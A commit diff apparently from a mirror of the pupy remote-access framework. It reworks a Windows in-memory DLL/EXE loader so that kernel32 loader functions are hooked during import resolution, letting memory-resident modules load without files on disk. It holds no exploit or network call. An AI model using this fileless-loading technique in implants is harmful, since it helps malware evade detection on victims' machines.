mirror of https://github.com/n1nj4sec/pupy.git
[Experemental] clinet/windows: Apply MemoryImporter hooks during load
This commit is contained in:
parent
6f958da236
commit
b2d9777dca
|
@ -60,10 +60,14 @@ typedef struct {
|
|||
BOOL initialized;
|
||||
BOOL isDLL;
|
||||
BOOL isRelocated;
|
||||
CustomLoadLibraryFunc loadLibrary;
|
||||
CustomGetProcAddressFunc getProcAddress;
|
||||
CustomFreeLibraryFunc freeLibrary;
|
||||
void *userdata;
|
||||
CustomGetProcAddress getProcAddress;
|
||||
CustomLoadLibraryW loadLibraryW;
|
||||
CustomLoadLibraryA loadLibraryA;
|
||||
CustomLoadLibraryExA loadLibraryExA;
|
||||
CustomLoadLibraryExW loadLibraryExW;
|
||||
CustomGetModuleHandleA getModuleHandleA;
|
||||
CustomGetModuleHandleW getModuleHandleW;
|
||||
ExeEntryProc exeEntry;
|
||||
DWORD pageSize;
|
||||
FUNCIDX exports;
|
||||
|
@ -356,6 +360,34 @@ PerformBaseRelocation(PMEMORYMODULE module, SIZE_T delta)
|
|||
return TRUE;
|
||||
}
|
||||
|
||||
typedef struct {
|
||||
const char *symbol;
|
||||
FARPROC addr;
|
||||
} ImportHooks;
|
||||
|
||||
static FARPROC
|
||||
GetImportAddr(
|
||||
ImportHooks *hooks, CustomGetProcAddress getProcAddress,
|
||||
HCUSTOMMODULE hModule, LPCSTR pszSymName)
|
||||
{
|
||||
ImportHooks *iter;
|
||||
|
||||
if (!hooks)
|
||||
return getProcAddress(hModule, pszSymName);
|
||||
|
||||
for (iter = hooks; iter->symbol; iter ++) {
|
||||
if (!iter->addr)
|
||||
continue;
|
||||
|
||||
if (!strcmp(iter->symbol, pszSymName)) {
|
||||
dprint("HOOK %s -> %p\n", pszSymName, iter->addr);
|
||||
return iter->addr;
|
||||
}
|
||||
}
|
||||
|
||||
return getProcAddress(hModule, pszSymName);
|
||||
}
|
||||
|
||||
static BOOL
|
||||
BuildImportTable(PMEMORYMODULE module)
|
||||
{
|
||||
|
@ -363,56 +395,121 @@ BuildImportTable(PMEMORYMODULE module)
|
|||
PIMAGE_IMPORT_DESCRIPTOR importDesc;
|
||||
BOOL result = TRUE;
|
||||
|
||||
PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY(module, IMAGE_DIRECTORY_ENTRY_IMPORT);
|
||||
if (directory->Size == 0) {
|
||||
PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY(
|
||||
module, IMAGE_DIRECTORY_ENTRY_IMPORT);
|
||||
|
||||
ImportHooks kernel32Hooks[] = {
|
||||
{"LoadLibraryA", (FARPROC) module->loadLibraryA},
|
||||
{"LoadLibraryW", (FARPROC) module->loadLibraryW},
|
||||
{"LoadLibraryExA", (FARPROC) module->loadLibraryExA},
|
||||
{"LoadLibraryExW", (FARPROC) module->loadLibraryExW},
|
||||
{"GetModuleHandleA", (FARPROC) module->getModuleHandleA},
|
||||
{"GetModuleHandleW", (FARPROC) module->getModuleHandleW},
|
||||
{"GetProcAddress", (FARPROC) module->getProcAddress},
|
||||
{"FreeLibrary", (FARPROC) module->freeLibrary},
|
||||
{NULL, NULL}
|
||||
};
|
||||
|
||||
if (directory->Size == 0)
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
dprint("Resolving imports\n");
|
||||
|
||||
importDesc = (PIMAGE_IMPORT_DESCRIPTOR) (codeBase + directory->VirtualAddress);
|
||||
for (; !IsBadReadPtr(importDesc, sizeof(IMAGE_IMPORT_DESCRIPTOR)) && importDesc->Name; importDesc++) {
|
||||
for (
|
||||
;
|
||||
!IsBadReadPtr(importDesc, sizeof(IMAGE_IMPORT_DESCRIPTOR)) && importDesc->Name; importDesc++
|
||||
) {
|
||||
ImportHooks *hooks = NULL;
|
||||
uintptr_t *thunkRef;
|
||||
FARPROC *funcRef;
|
||||
HCUSTOMMODULE *tmp;
|
||||
HCUSTOMMODULE handle = module->loadLibrary((LPCSTR) (codeBase + importDesc->Name), module->userdata);
|
||||
if (handle == NULL) {
|
||||
HCUSTOMMODULE handle;
|
||||
LPCSTR lpcszLibraryName = (LPCSTR) (codeBase + importDesc->Name);
|
||||
|
||||
dprint("Import %s (LoadLibraryA = %p)\n", lpcszLibraryName, module->loadLibraryA);
|
||||
|
||||
handle = module->loadLibraryA(lpcszLibraryName);
|
||||
|
||||
dprint("Import %s -> %p\n", lpcszLibraryName, handle);
|
||||
|
||||
if (!handle) {
|
||||
SetLastError(ERROR_MOD_NOT_FOUND);
|
||||
result = FALSE;
|
||||
break;
|
||||
}
|
||||
|
||||
tmp = (HCUSTOMMODULE *) realloc(module->modules, (module->numModules+1)*(sizeof(HCUSTOMMODULE)));
|
||||
tmp = (HCUSTOMMODULE *) realloc(
|
||||
module->modules, (module->numModules+1)*(sizeof(HCUSTOMMODULE)));
|
||||
if (tmp == NULL) {
|
||||
module->freeLibrary(handle, module->userdata);
|
||||
module->freeLibrary(handle);
|
||||
SetLastError(ERROR_OUTOFMEMORY);
|
||||
result = FALSE;
|
||||
break;
|
||||
}
|
||||
module->modules = tmp;
|
||||
|
||||
module->modules = tmp;
|
||||
module->modules[module->numModules++] = handle;
|
||||
|
||||
if (importDesc->OriginalFirstThunk) {
|
||||
thunkRef = (uintptr_t *) (codeBase + importDesc->OriginalFirstThunk);
|
||||
funcRef = (FARPROC *) (codeBase + importDesc->FirstThunk);
|
||||
dprint("%s have hint table, offset=%lu\n",
|
||||
lpcszLibraryName, importDesc->OriginalFirstThunk);
|
||||
} else {
|
||||
// no hint table
|
||||
dprint("%s does not have hint table\n", lpcszLibraryName);
|
||||
thunkRef = (uintptr_t *) (codeBase + importDesc->FirstThunk);
|
||||
funcRef = (FARPROC *) (codeBase + importDesc->FirstThunk);
|
||||
}
|
||||
for (; *thunkRef; thunkRef++, funcRef++) {
|
||||
|
||||
if (!_stricmp(lpcszLibraryName, "KERNEL32.DLL")) {
|
||||
hooks = kernel32Hooks;
|
||||
dprint("Use hooks for kernel32: %p\n", hooks);
|
||||
}
|
||||
|
||||
dprint("Resolving symbols.. (%p)\n", thunkRef);
|
||||
|
||||
for (; thunkRef && *thunkRef; thunkRef++, funcRef++) {
|
||||
dprint("Thunk value: %p\n", *thunkRef);
|
||||
|
||||
if (IMAGE_SNAP_BY_ORDINAL(*thunkRef)) {
|
||||
*funcRef = module->getProcAddress(handle, (LPCSTR)IMAGE_ORDINAL(*thunkRef), module->userdata);
|
||||
|
||||
dprint("Import by thunk (%d)\n", IMAGE_ORDINAL(*thunkRef));
|
||||
|
||||
*funcRef = module->getProcAddress(
|
||||
handle, (LPCSTR)IMAGE_ORDINAL(*thunkRef)
|
||||
);
|
||||
|
||||
dprint("Import %d@%s -> %p\n",
|
||||
IMAGE_ORDINAL(*thunkRef), lpcszLibraryName, *funcRef);
|
||||
|
||||
} else {
|
||||
PIMAGE_IMPORT_BY_NAME thunkData = (PIMAGE_IMPORT_BY_NAME) (codeBase + (*thunkRef));
|
||||
*funcRef = module->getProcAddress(handle, (LPCSTR)&thunkData->Name, module->userdata);
|
||||
PIMAGE_IMPORT_BY_NAME thunkData = (PIMAGE_IMPORT_BY_NAME) (
|
||||
codeBase + (*thunkRef));
|
||||
|
||||
dprint("Import %s@%s -> ?\n",
|
||||
(LPCSTR)&thunkData->Name, lpcszLibraryName);
|
||||
|
||||
*funcRef = GetImportAddr(
|
||||
hooks, module->getProcAddress,
|
||||
handle, (LPCSTR)&thunkData->Name
|
||||
);
|
||||
|
||||
dprint("Import %s@%s -> %p\n",
|
||||
(LPCSTR)&thunkData->Name, lpcszLibraryName, *funcRef);
|
||||
}
|
||||
if (*funcRef == 0) {
|
||||
|
||||
if (!*funcRef) {
|
||||
result = FALSE;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
dprint("Resolving symbols %s -> complete, result=%p\n", lpcszLibraryName, result);
|
||||
|
||||
if (!result) {
|
||||
module->freeLibrary(handle, module->userdata);
|
||||
module->freeLibrary(handle);
|
||||
SetLastError(ERROR_PROC_NOT_FOUND);
|
||||
break;
|
||||
}
|
||||
|
@ -499,7 +596,7 @@ VOID BuildExportTable(PMEMORYMODULE module)
|
|||
ordinal = (WORD *) (codeBase + exports->AddressOfNameOrdinals);
|
||||
|
||||
for (i=0; i<exports->NumberOfNames; i++, nameRef++, ordinal++) {
|
||||
char * pcName = (const char *) (codeBase + (*nameRef));
|
||||
LPCSTR pcName = (LPCSTR) (codeBase + (*nameRef));
|
||||
DWORD dwIdx = *ordinal;
|
||||
FARPROC proc = NULL;
|
||||
|
||||
|
@ -545,11 +642,10 @@ VOID CleanupHeaders(PMEMORYMODULE module) {
|
|||
}
|
||||
}
|
||||
|
||||
HMEMORYMODULE MemoryLoadLibraryEx(const void *data,
|
||||
CustomLoadLibraryFunc loadLibrary,
|
||||
CustomGetProcAddressFunc getProcAddress,
|
||||
CustomFreeLibraryFunc freeLibrary,
|
||||
void *userdata, void *dllmainArg)
|
||||
HMEMORYMODULE MemoryLoadLibraryEx(
|
||||
const void *data,
|
||||
PDL_CALLBACKS callbacks,
|
||||
void *dllmainArg)
|
||||
{
|
||||
PMEMORYMODULE result;
|
||||
PIMAGE_DOS_HEADER dos_header;
|
||||
|
@ -615,10 +711,15 @@ HMEMORYMODULE MemoryLoadLibraryEx(const void *data,
|
|||
|
||||
result->codeBase = code;
|
||||
result->isDLL = (old_header->FileHeader.Characteristics & IMAGE_FILE_DLL) != 0;
|
||||
result->loadLibrary = loadLibrary;
|
||||
result->getProcAddress = getProcAddress;
|
||||
result->freeLibrary = freeLibrary;
|
||||
result->userdata = userdata;
|
||||
|
||||
result->loadLibraryA = callbacks->loadLibraryA;
|
||||
result->loadLibraryW = callbacks->loadLibraryW;
|
||||
result->loadLibraryExA = callbacks->loadLibraryExA;
|
||||
result->loadLibraryExW = callbacks->loadLibraryExW;
|
||||
result->getModuleHandleA = callbacks->getModuleHandleA;
|
||||
result->getModuleHandleW = callbacks->getModuleHandleW;
|
||||
result->getProcAddress = callbacks->getProcAddress;
|
||||
result->freeLibrary = callbacks->freeLibrary;
|
||||
|
||||
GetNativeSystemInfo(&sysInfo);
|
||||
|
||||
|
@ -763,7 +864,7 @@ void MemoryFreeLibrary(HMEMORYMODULE mod)
|
|||
int i;
|
||||
for (i=0; i<module->numModules; i++) {
|
||||
if (module->modules[i] != NULL) {
|
||||
module->freeLibrary(module->modules[i], module->userdata);
|
||||
module->freeLibrary(module->modules[i]);
|
||||
}
|
||||
}
|
||||
|
||||
|
|
|
@ -39,9 +39,14 @@ typedef void *HCUSTOMMODULE;
|
|||
extern "C" {
|
||||
#endif
|
||||
|
||||
typedef HCUSTOMMODULE (*CustomLoadLibraryFunc)(LPCSTR, void *);
|
||||
typedef FARPROC (*CustomGetProcAddressFunc)(HCUSTOMMODULE, LPCSTR, void *);
|
||||
typedef void (*CustomFreeLibraryFunc)(HCUSTOMMODULE, void *);
|
||||
typedef HMODULE (*CustomGetModuleHandleA)(LPCSTR);
|
||||
typedef HMODULE (*CustomGetModuleHandleW)(LPCWSTR);
|
||||
typedef HMODULE (*CustomLoadLibraryExA)(LPCSTR, HANDLE, DWORD);
|
||||
typedef HMODULE (*CustomLoadLibraryExW)(LPCWSTR, HANDLE, DWORD);
|
||||
typedef HCUSTOMMODULE (*CustomLoadLibraryW)(LPCWSTR);
|
||||
typedef HCUSTOMMODULE (*CustomLoadLibraryA)(LPCSTR);
|
||||
typedef FARPROC (*CustomGetProcAddress)(HCUSTOMMODULE, LPCSTR);
|
||||
typedef void (*CustomFreeLibraryFunc)(HCUSTOMMODULE);
|
||||
|
||||
/**
|
||||
* Load EXE/DLL from memory location.
|
||||
|
@ -51,16 +56,23 @@ typedef void (*CustomFreeLibraryFunc)(HCUSTOMMODULE, void *);
|
|||
*/
|
||||
HMEMORYMODULE MemoryLoadLibrary(const void *);
|
||||
|
||||
typedef struct {
|
||||
CustomLoadLibraryA loadLibraryA;
|
||||
CustomLoadLibraryW loadLibraryW;
|
||||
CustomLoadLibraryExA loadLibraryExA;
|
||||
CustomLoadLibraryExW loadLibraryExW;
|
||||
CustomGetModuleHandleA getModuleHandleA;
|
||||
CustomGetModuleHandleW getModuleHandleW;
|
||||
CustomGetProcAddress getProcAddress;
|
||||
CustomFreeLibraryFunc freeLibrary;
|
||||
} DL_CALLBACKS, *PDL_CALLBACKS;
|
||||
|
||||
/**
|
||||
* Load EXE/DLL from memory location using custom dependency resolvers.
|
||||
*
|
||||
* Dependencies will be resolved using passed callback methods.
|
||||
*/
|
||||
HMEMORYMODULE MemoryLoadLibraryEx(const void *,
|
||||
CustomLoadLibraryFunc,
|
||||
CustomGetProcAddressFunc,
|
||||
CustomFreeLibraryFunc,
|
||||
void *, void *);
|
||||
HMEMORYMODULE MemoryLoadLibraryEx(const void *, PDL_CALLBACKS, void *);
|
||||
|
||||
/**
|
||||
* Get address of exported method. Supports loading both by name and by
|
||||
|
@ -73,6 +85,14 @@ FARPROC MemoryGetProcAddress(HMEMORYMODULE, LPCSTR);
|
|||
*/
|
||||
void MemoryFreeLibrary(HMEMORYMODULE);
|
||||
|
||||
HMODULE MyGetModuleHandleA(LPCSTR name);
|
||||
HMODULE MyGetModuleHandleW(LPCWSTR name);
|
||||
HMODULE MyLoadLibraryA(LPCSTR name);
|
||||
HMODULE MyLoadLibraryW(LPCWSTR name);
|
||||
|
||||
HMODULE MyLoadLibraryExA(LPCSTR lpLibFileName, HANDLE hFile, DWORD dwFlags);
|
||||
HMODULE MyLoadLibraryExW(LPCWSTR lpLibFileName, HANDLE hFile, DWORD dwFlags);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
|
|
@ -9,17 +9,22 @@
|
|||
|
||||
typedef struct {
|
||||
PSTR name;
|
||||
PSTR fileName;
|
||||
|
||||
HCUSTOMMODULE module;
|
||||
int refcount;
|
||||
|
||||
UT_hash_handle by_name;
|
||||
UT_hash_handle by_filename;
|
||||
UT_hash_handle by_module;
|
||||
} HCUSTOMLIBRARY, *PHCUSTOMLIBRARY;
|
||||
|
||||
typedef struct {
|
||||
PHCUSTOMLIBRARY by_module;
|
||||
PHCUSTOMLIBRARY by_name;
|
||||
PHCUSTOMLIBRARY by_filename;
|
||||
SRWLOCK lock;
|
||||
PDL_CALLBACKS pCallbacks;
|
||||
} HLIBRARIES, *PHLIBRARIES;
|
||||
|
||||
static PHLIBRARIES libraries = NULL;
|
||||
|
@ -51,32 +56,60 @@ static PHCUSTOMLIBRARY _FindMemoryModule(LPCSTR name, HMODULE module)
|
|||
AcquireSRWLockShared(&libraries->lock);
|
||||
|
||||
if (name) {
|
||||
PSTR srcName = NULL;
|
||||
LPCSTR srcName = NULL;
|
||||
PSTR psName;
|
||||
size_t len;
|
||||
PSTR psFileName;
|
||||
PSTR psi;
|
||||
size_t len, fileNameLen;
|
||||
|
||||
srcName = strrchr(name, '\\');
|
||||
if (srcName)
|
||||
srcName ++;
|
||||
|
||||
if (!srcName)
|
||||
if (!srcName || !srcName[0]) {
|
||||
srcName = strrchr(name, '/');
|
||||
if (srcName)
|
||||
srcName ++;
|
||||
}
|
||||
|
||||
if (!srcName)
|
||||
if (!srcName || !srcName[0])
|
||||
srcName = name;
|
||||
|
||||
len = strlen(srcName);
|
||||
fileNameLen = strlen(name);
|
||||
|
||||
psName = _alloca(len + 1);
|
||||
psFileName = _alloca(fileNameLen + 1);
|
||||
memcpy(psName, srcName, len+1);
|
||||
memcpy(psFileName, name, len+1);
|
||||
|
||||
_strupr(psName);
|
||||
_strupr(psFileName);
|
||||
|
||||
psi = strrchr(psName, '.');
|
||||
if (psi && !strcmp(psi, ".DLL"))
|
||||
*psi = '\0';
|
||||
|
||||
for (psi=psFileName; *psi; psi++)
|
||||
if (*psi == '/')
|
||||
*psi = '\\';
|
||||
|
||||
dprint(
|
||||
"_FindMemoryModule by name %s %d (%s).. \n",
|
||||
srcName, len, psName);
|
||||
|
||||
HASH_FIND(
|
||||
by_name, libraries->by_name,
|
||||
psName, len, phIdx
|
||||
by_filename, libraries->by_filename,
|
||||
psFileName, fileNameLen, phIdx
|
||||
);
|
||||
|
||||
if (!phIdx) {
|
||||
HASH_FIND(
|
||||
by_name, libraries->by_name,
|
||||
psName, len, phIdx
|
||||
);
|
||||
}
|
||||
|
||||
dprint(
|
||||
"_FindMemoryModule by name %s -> %p (%p)\n",
|
||||
psName, phIdx, phIdx? phIdx->module : NULL);
|
||||
|
@ -96,6 +129,14 @@ static PHCUSTOMLIBRARY _FindMemoryModule(LPCSTR name, HMODULE module)
|
|||
return phIdx;
|
||||
}
|
||||
|
||||
static DL_CALLBACKS callbacks = {
|
||||
MyLoadLibraryA, MyLoadLibraryW,
|
||||
MyLoadLibraryExA, MyLoadLibraryExW,
|
||||
MyGetModuleHandleA, MyGetModuleHandleW,
|
||||
MyGetProcAddress,
|
||||
MyFreeLibrary
|
||||
};
|
||||
|
||||
/****************************************************************
|
||||
* Insert a MemoryModule into the linked list of loaded modules
|
||||
*/
|
||||
|
@ -105,51 +146,73 @@ static PHCUSTOMLIBRARY _AddMemoryModule(
|
|||
PHCUSTOMLIBRARY hmodule = (PHCUSTOMLIBRARY) malloc(
|
||||
sizeof(HCUSTOMLIBRARY));
|
||||
|
||||
PSTR srcName = NULL;
|
||||
LPCSTR srcName = NULL;
|
||||
PSTR psi;
|
||||
|
||||
if (!libraries) {
|
||||
libraries = (PHLIBRARIES) malloc(sizeof(HLIBRARIES));
|
||||
libraries->by_module = NULL;
|
||||
libraries->by_name = NULL;
|
||||
libraries->by_filename = NULL;
|
||||
libraries->pCallbacks = &callbacks;
|
||||
|
||||
InitializeSRWLock(&libraries->lock);
|
||||
dprint("Initialize libraries: %p\n", libraries);
|
||||
}
|
||||
|
||||
srcName = strrchr(name, '\\');
|
||||
if (srcName)
|
||||
srcName ++;
|
||||
|
||||
if (!srcName)
|
||||
if (!srcName || !srcName[0]) {
|
||||
srcName = strrchr(name, '/');
|
||||
if (srcName)
|
||||
srcName ++;
|
||||
}
|
||||
|
||||
if (!srcName)
|
||||
if (!srcName || !srcName[0])
|
||||
srcName = name;
|
||||
|
||||
hmodule->refcount = 1;
|
||||
hmodule->name = strdup(srcName);
|
||||
hmodule->fileName = strdup(name);
|
||||
hmodule->module = module;
|
||||
|
||||
_strupr(hmodule->name);
|
||||
_strupr(hmodule->fileName);
|
||||
|
||||
psi = strchr(hmodule->name, '.');
|
||||
if (psi && !strcmp(psi, ".DLL"))
|
||||
*psi = '\0';
|
||||
|
||||
for (psi=hmodule->fileName; *psi; psi++)
|
||||
if (*psi == '/')
|
||||
*psi = '\\';
|
||||
|
||||
AcquireSRWLockExclusive(&libraries->lock);
|
||||
|
||||
dprint(
|
||||
"_AddMemoryModule(%s, %p (s=%d)) .. #1\n",
|
||||
hmodule->name, module, sizeof(hmodule->module));
|
||||
|
||||
HASH_ADD_KEYPTR(
|
||||
by_module, libraries->by_module,
|
||||
&hmodule->module, sizeof(hmodule->module),
|
||||
hmodule
|
||||
);
|
||||
|
||||
dprint("_AddMemoryModule(%s, %p) .. #2\n", hmodule->name, module);
|
||||
dprint(
|
||||
"_AddMemoryModule(%s (%s), %p)\n",
|
||||
hmodule->name,
|
||||
hmodule->fileName,
|
||||
module
|
||||
);
|
||||
|
||||
HASH_ADD_KEYPTR(
|
||||
by_name, libraries->by_name, hmodule->name,
|
||||
strlen(hmodule->name), hmodule
|
||||
);
|
||||
|
||||
dprint("_AddMemoryModule(%s, %p) .. #3\n",
|
||||
hmodule->name, module);
|
||||
HASH_ADD_KEYPTR(
|
||||
by_filename, libraries->by_filename, hmodule->fileName,
|
||||
strlen(hmodule->fileName), hmodule
|
||||
);
|
||||
|
||||
ReleaseSRWLockExclusive(&libraries->lock);
|
||||
|
||||
|
@ -159,68 +222,39 @@ static PHCUSTOMLIBRARY _AddMemoryModule(
|
|||
return hmodule;
|
||||
}
|
||||
|
||||
/****************************************************************
|
||||
* Helper functions for MemoryLoadLibraryEx
|
||||
*/
|
||||
static FARPROC _GetProcAddress(HCUSTOMMODULE module, LPCSTR name, void *userdata)
|
||||
{
|
||||
return MyGetProcAddress(module, name);
|
||||
}
|
||||
|
||||
static void _FreeLibrary(HCUSTOMMODULE module, void *userdata)
|
||||
{
|
||||
MyFreeLibrary(module);
|
||||
}
|
||||
|
||||
static HCUSTOMMODULE _LoadLibrary(LPCSTR filename, void *userdata)
|
||||
{
|
||||
HCUSTOMMODULE result;
|
||||
PHCUSTOMLIBRARY lib;
|
||||
|
||||
lib = _FindMemoryModule(filename, NULL);
|
||||
if (lib) {
|
||||
lib->refcount += 1;
|
||||
|
||||
printf("_LoadLibrary(%s, %p) -> %s[%d]\n\n",
|
||||
filename, userdata, lib->name, lib->refcount);
|
||||
return lib->module;
|
||||
} else {
|
||||
dprint(
|
||||
"_LoadLibrary(%s, %p): _FindMemoryModule failed\n",
|
||||
filename, userdata
|
||||
);
|
||||
}
|
||||
|
||||
result = (HCUSTOMMODULE) LoadLibraryA(filename);
|
||||
|
||||
dprint("LoadLibraryA(%s) -> %p\n\n", filename, result);
|
||||
return result;
|
||||
}
|
||||
|
||||
/****************************************************************
|
||||
* Public functions
|
||||
*/
|
||||
HMODULE MyGetModuleHandle(LPCSTR name)
|
||||
HMODULE MyGetModuleHandleA(LPCSTR name)
|
||||
{
|
||||
PHCUSTOMLIBRARY lib;
|
||||
|
||||
lib = _FindMemoryModule(name, NULL);
|
||||
if (lib)
|
||||
return lib->module;
|
||||
return GetModuleHandle(name);
|
||||
|
||||
return GetModuleHandleA(name);
|
||||
}
|
||||
|
||||
HMODULE MyLoadLibrary(LPCSTR name, void *bytes, void *dllmainArg)
|
||||
{
|
||||
HMODULE hLoadedModule = MyGetModuleHandle(name);
|
||||
HMODULE hLoadedModule;
|
||||
|
||||
dprint("MyLoadLibrary '%s'..\n", name);
|
||||
hLoadedModule = MyGetModuleHandleA(name);
|
||||
|
||||
dprint("MyLoadLibrary %s registered? %p\n", name, hLoadedModule);
|
||||
|
||||
if (hLoadedModule)
|
||||
return hLoadedModule;
|
||||
|
||||
if (bytes) {
|
||||
HCUSTOMMODULE mod = MemoryLoadLibraryEx(bytes,
|
||||
_LoadLibrary,
|
||||
_GetProcAddress,
|
||||
_FreeLibrary,
|
||||
NULL, dllmainArg);
|
||||
HCUSTOMMODULE mod;
|
||||
PDL_CALLBACKS cb = libraries ? libraries->pCallbacks : &callbacks;
|
||||
|
||||
dprint("Callbacks: %p\n", cb);
|
||||
|
||||
mod = MemoryLoadLibraryEx(bytes, cb, dllmainArg);
|
||||
|
||||
dprint(
|
||||
"MyLoadLibrary: loading %s, buf=%p (dllmainArg=%p) -> %p\n",
|
||||
|
@ -240,6 +274,71 @@ HMODULE MyLoadLibrary(LPCSTR name, void *bytes, void *dllmainArg)
|
|||
return LoadLibrary(name);
|
||||
}
|
||||
|
||||
HMODULE MyGetModuleHandleW(LPCWSTR name) {
|
||||
PSTR pszName = NULL;
|
||||
HMODULE hResult = NULL;
|
||||
DWORD dwRequiredSize = WideCharToMultiByte(
|
||||
CP_OEMCP, 0, name, -1, NULL,
|
||||
0, NULL, NULL
|
||||
);
|
||||
|
||||
if (!SUCCEEDED(dwRequiredSize))
|
||||
return NULL;
|
||||
|
||||
dwRequiredSize += 1;
|
||||
|
||||
pszName = LocalAlloc(LMEM_FIXED, dwRequiredSize);
|
||||
if (!pszName)
|
||||
return NULL;
|
||||
|
||||
dwRequiredSize = WideCharToMultiByte(
|
||||
CP_OEMCP, 0, name, -1, pszName,
|
||||
dwRequiredSize, NULL, NULL
|
||||
);
|
||||
|
||||
if (SUCCEEDED(dwRequiredSize))
|
||||
hResult = MyGetModuleHandleA(pszName);
|
||||
|
||||
LocalFree(pszName);
|
||||
|
||||
if (hResult)
|
||||
return hResult;
|
||||
|
||||
return GetModuleHandleW(name);
|
||||
}
|
||||
|
||||
HMODULE MyLoadLibraryExA(LPCSTR name, HANDLE hFile, DWORD dwFlags) {
|
||||
HMODULE hModule = MyGetModuleHandleA(name);
|
||||
if (hModule)
|
||||
return hModule;
|
||||
|
||||
return LoadLibraryExA(name, hFile, dwFlags);
|
||||
}
|
||||
|
||||
HMODULE MyLoadLibraryExW(LPCWSTR name, HANDLE hFile, DWORD dwFlags) {
|
||||
HMODULE hModule = MyGetModuleHandleW(name);
|
||||
if (hModule)
|
||||
return hModule;
|
||||
|
||||
return LoadLibraryExW(name, hFile, dwFlags);
|
||||
}
|
||||
|
||||
HMODULE MyLoadLibraryA(LPCSTR name) {
|
||||
HMODULE hModule = MyGetModuleHandleA(name);
|
||||
if (hModule)
|
||||
return hModule;
|
||||
|
||||
return LoadLibraryA(name);
|
||||
}
|
||||
|
||||
HMODULE MyLoadLibraryW(LPCWSTR name) {
|
||||
HMODULE hModule = MyGetModuleHandleW(name);
|
||||
if (hModule)
|
||||
return hModule;
|
||||
|
||||
return LoadLibraryW(name);
|
||||
}
|
||||
|
||||
BOOL MyFreeLibrary(HMODULE module)
|
||||
{
|
||||
PHCUSTOMLIBRARY lib = _FindMemoryModule(NULL, module);
|
||||
|
@ -248,6 +347,7 @@ BOOL MyFreeLibrary(HMODULE module)
|
|||
AcquireSRWLockExclusive(&libraries->lock);
|
||||
|
||||
HASH_DELETE(by_name, libraries->by_name, lib);
|
||||
HASH_DELETE(by_filename, libraries->by_filename, lib);
|
||||
HASH_DELETE(by_module, libraries->by_module, lib);
|
||||
|
||||
ReleaseSRWLockExclusive(&libraries->lock);
|
||||
|
@ -264,22 +364,28 @@ BOOL MyFreeLibrary(HMODULE module)
|
|||
|
||||
FARPROC MyGetProcAddress(HMODULE module, LPCSTR procname)
|
||||
{
|
||||
FARPROC proc;
|
||||
PHCUSTOMLIBRARY lib = _FindMemoryModule(NULL, module);
|
||||
if (lib) {
|
||||
/* dprint("MyGetProcAddress(%p, %p(%s))\n", module, procname, HIWORD(procname) ? procname : ""); */
|
||||
PHCUSTOMLIBRARY lib;
|
||||
FARPROC fpFunc = NULL;
|
||||
|
||||
proc = MemoryGetProcAddress(lib->module, procname);
|
||||
lib = _FindMemoryModule(NULL, module);
|
||||
if (lib)
|
||||
fpFunc = MemoryGetProcAddress(lib->module, procname);
|
||||
else
|
||||
fpFunc = GetProcAddress(module, procname);
|
||||
|
||||
/* dprint("MyGetProcAddress(%p, %p(%s)) -> %p\n", module, procname, HIWORD(procname) ? procname : "", proc); */
|
||||
return proc;
|
||||
} else
|
||||
return GetProcAddress(module, procname);
|
||||
if (HIWORD(procname) == 0) {
|
||||
dprint("MyGetProcAddress(%p, %d) -> %p (lib: %p)\n",
|
||||
module, LOWORD(procname), lib);
|
||||
} else {
|
||||
dprint("MyGetProcAddress(%p, %s) -> %p (lib: %p)\n", module, procname, lib);
|
||||
}
|
||||
|
||||
return fpFunc;
|
||||
}
|
||||
|
||||
FARPROC MyFindProcAddress(LPCSTR modulename, LPCSTR procname)
|
||||
{
|
||||
HCUSTOMMODULE mod = MyGetModuleHandle(modulename);
|
||||
HCUSTOMMODULE mod = MyGetModuleHandleA(modulename);
|
||||
void *addr = NULL;
|
||||
/* dprint("MyFindProcAddress(%s, %s) -> %p\n", modulename, procname, mod); */
|
||||
if (mod) {
|
||||
|
|
|
@ -6,6 +6,10 @@
|
|||
HMODULE MyLoadLibrary(LPCSTR, void *, void *);
|
||||
HMODULE MyGetModuleHandle(LPCSTR);
|
||||
BOOL MyFreeLibrary(HMODULE);
|
||||
|
||||
HMODULE MyLoadLibraryA(LPCSTR);
|
||||
HMODULE MyLoadLibraryW(LPCWSTR);
|
||||
|
||||
FARPROC MyGetProcAddress(HMODULE, LPCSTR);
|
||||
FARPROC MyFindProcAddress(LPCSTR modulename, LPCSTR procname);
|
||||
|
||||
|
|
|
@ -22,44 +22,6 @@ NATIVE_LIB_PATTERNS = [
|
|||
'lib{}27.dll'
|
||||
]
|
||||
|
||||
# TODO: Add search paths ?
|
||||
|
||||
class PupyCDLL(ctypes.CDLL):
|
||||
__slots__ = ('_FuncPtr_orig', '_FuncPtr', '_name')
|
||||
|
||||
def __init__(self, name, **kwargs):
|
||||
super(PupyCDLL, self).__init__(name, **kwargs)
|
||||
self._FuncPtr_orig = self._FuncPtr
|
||||
self._FuncPtr = self._find_function_address
|
||||
self._name = _pupy_make_library_path(self._name)
|
||||
pupy.dprint('CDLL({})', self._name)
|
||||
|
||||
def _find_function_address(self, search_tuple):
|
||||
name, handle = search_tuple
|
||||
pupy.dprint('PupyCDLL._find_function_address: {}', name)
|
||||
if not type(name) in (str, unicode):
|
||||
return self._FuncPtr_orig(search_tuple)
|
||||
|
||||
else:
|
||||
addr = pupy.find_function_address(self._name, name)
|
||||
pupy.dprint(
|
||||
'PupyCDLL._find_function_address: {} = {}', name, addr)
|
||||
if addr:
|
||||
return self._FuncPtr_orig(addr)
|
||||
else:
|
||||
return self._FuncPtr_orig(search_tuple)
|
||||
|
||||
|
||||
class PupyPyDLL(PupyCDLL):
|
||||
_func_flags_ = ctypes._FUNCFLAG_CDECL | ctypes._FUNCFLAG_PYTHONAPI
|
||||
|
||||
def __init__(self, name, **kwargs):
|
||||
if name in ('python dll', 'python.dll'):
|
||||
name = 'python27.dll'
|
||||
kwargs['handle'] = False
|
||||
|
||||
super(PupyPyDLL, self).__init__(name, **kwargs)
|
||||
|
||||
|
||||
def _find_library(name):
|
||||
for pattern in NATIVE_LIB_PATTERNS:
|
||||
|
@ -123,12 +85,6 @@ def apply_dl_hacks():
|
|||
|
||||
setattr(ctypes_util, '_system_find_library', _find_library)
|
||||
|
||||
if pupy.is_supported(pupy.find_function_address):
|
||||
setattr(ctypes, 'CDLL_ORIG', ctypes.CDLL)
|
||||
|
||||
